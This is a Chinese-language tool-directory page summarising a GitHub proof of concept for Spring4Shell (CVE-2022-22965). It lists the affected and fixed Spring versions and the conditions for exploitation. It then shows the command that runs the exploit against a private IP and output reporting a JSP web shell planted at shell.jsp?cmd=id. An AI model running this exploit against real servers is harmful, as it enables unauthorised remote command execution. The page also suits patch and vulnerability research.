Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22965 — Spring4Shell | Kitploit
工具/GitHubGitHub/nhattanhh/cve-2022-22965
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubnhattanhh/cve-2022-22965

CVE-2022-22965

Spring4Shell

查看仓库
1610个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-22965 Spring4Shell-PoC

版本

  • Spring Framework < 5.2.20 和 5.3.18

修复版本:

  • Spring Framework 5.3.18 和 5.2.20

  • Spring Boot 2.6.6 和 2.5.12

详细信息

  • Spring Core 是 Spring Framework 的核心组件,它是构建 Spring Framework 生态系统中其他组件(如 Spring MVC、Spring Boot、Spring WebFlux)的基础。利用代码在以下条件下可执行:

    • JDK 9 或更高版本

    • Apache Tomcat 运行 servlet 容器

    • 打包为 WAR

    • 包依赖:spring-webmvc 或 spring-webflux

  • 如果应用程序以 Spring Boot 可执行 jar 文件形式部署(默认方式),则不会受此安全漏洞影响。

利用方法:

python CVE-2022-22965.py --url http://172.16.1.10:8080/helloworld/greeting

结果:

└─$ python cve-spring4shell.py --url http://172.16.1.10:8080/helloworld/greeting
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://172.16.1.10:8080/shell.jsp?cmd=id
下载工具